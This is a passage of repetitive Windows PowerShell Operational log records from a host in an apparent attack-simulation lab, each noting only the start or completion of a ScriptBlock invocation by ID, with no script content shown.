SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042020
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042019
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042018
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042017
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042016
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042015
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042014
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042013
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042012
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042011
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042010
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042009
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042008
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042007
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042006
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042005
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042004
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042003
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042002
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042001
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042000
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041999
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041998
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041997
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041996
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041995
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041994
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041993
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041992
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041991
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041990
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041989
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041988
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041987
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041986
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041985
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041984
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041983
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041982
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041981
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041980
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041979
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041978
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041977
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041976
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041975
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041974
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041973
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041972
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041971
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041970
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041969
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041968
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
